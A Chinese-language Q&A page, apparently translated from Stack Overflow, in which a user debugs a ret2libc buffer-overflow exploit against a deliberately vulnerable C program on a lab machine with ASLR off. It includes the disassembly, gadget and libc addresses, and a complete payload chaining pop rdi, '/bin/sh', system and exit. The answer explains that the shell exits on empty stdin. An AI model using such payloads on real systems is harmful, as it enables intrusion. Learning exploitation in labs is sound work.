c - ret2libc 攻击不会产生 shell
问题描述
我执行了 ret2libc。一切正常,但没有生成 shell。源代码是
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
char buf[10];
scanf("%s",buf);
printf("%s\n",buf);
}
int main()
{
get();
printf("Done\n");
printf("/bin/sh");
return 1;
}
gdb的反汇编是
(gdb) disass main
Dump of assembler code for function main:
0x0000555555555184 <+0>: push rbp
0x0000555555555185 <+1>: mov rbp,rsp
0x0000555555555188 <+4>: mov eax,0x0
0x000055555555518d <+9>: call 0x555555555155 <get>
0x0000555555555192 <+14>: lea rdi,[rip+0xe6e] # 0x555555556007
0x0000555555555199 <+21>: call 0x555555555030 <puts@plt>
0x000055555555519e <+26>: lea rdi,[rip+0xe67] # 0x55555555600c
0x00005555555551a5 <+33>: mov eax,0x0
0x00005555555551aa <+38>: call 0x555555555040 <printf@plt>
0x00005555555551af <+43>: mov eax,0x1
0x00005555555551b4 <+48>: pop rbp
0x00005555555551b5 <+49>: ret
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
0x0000555555555155 <+0>: push rbp
0x0000555555555156 <+1>: mov rbp,rsp
0x0000555555555159 <+4>: sub rsp,0x10
0x000055555555515d <+8>: lea rax,[rbp-0xa]
0x0000555555555161 <+12>: mov rsi,rax
0x0000555555555164 <+15>: lea rdi,[rip+0xe99] # 0x555555556004
0x000055555555516b <+22>: mov eax,0x0
0x0000555555555170 <+27>: call 0x555555555050 <__isoc99_scanf@plt>
0x0000555555555175 <+32>: lea rax,[rbp-0xa]
0x0000555555555179 <+36>: mov rdi,rax
0x000055555555517c <+39>: call 0x555555555030 <puts@plt>
0x0000555555555181 <+44>: nop
0x0000555555555182 <+45>: leave
0x0000555555555183 <+46>: ret
End of assembler dump.
我使用radare2找到了这个小工具pop rdi;ret
,它位于0x7ffff7e1d7de
。/bin/sh
位于0x7ffff7f7f1ac
,system()
位于0x7ffff7e3f8a0
和exit()
位于0x7ffff7e34fe0
(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]
当我用命令的地址替换地址时/bin/sh
,ls
它列出了目录的内容。但/bin/sh
不会产生外壳。我使用的是 64 位机器。该程序是使用编译的,gcc -ggdb -Wall -fno-stack-protector -o a exploit.c
并且手动禁用了 aslr。为什么它不产生外壳?
解决方案
您的程序确实生成了一个 shell。这很容易看出,因为当您将其更改为 spawn 时ls
,它会 spawn ls
。
您的程序的标准输入来自 Python 脚本。您的程序读取脚本的所有输出,然后启动一个 shell。shell 使用与您的程序相同的标准输入。shell 试图读取一个命令,但没有更多的输入,所以它就退出了。
推荐阅读
- postgresql - 将 docker postgres 连接到 pgAdmin
- javascript - 使用 Axio 和 React 通过 API 进行过滤
- c++ - 检查指针是否指向向量元素
- c# - 如何从数据库中检索非空和非重复数据?
- c# - 列表
用于在 UserControl 中填充 ComboBox 的属性 - C# - django - Django 模板中注释的 VS Code 颜色编码
- javascript - getHours() 在 React - Native 中给出了错误的值
- javascript - 单击 ul li a href 时的 JavaScript - 防止默认值不起作用
- python - 想要将字典写入 excel...字典值是嵌套列表...?
- python-3.x - Error while taking input invalid literal for int() with base 10: '1 2 3'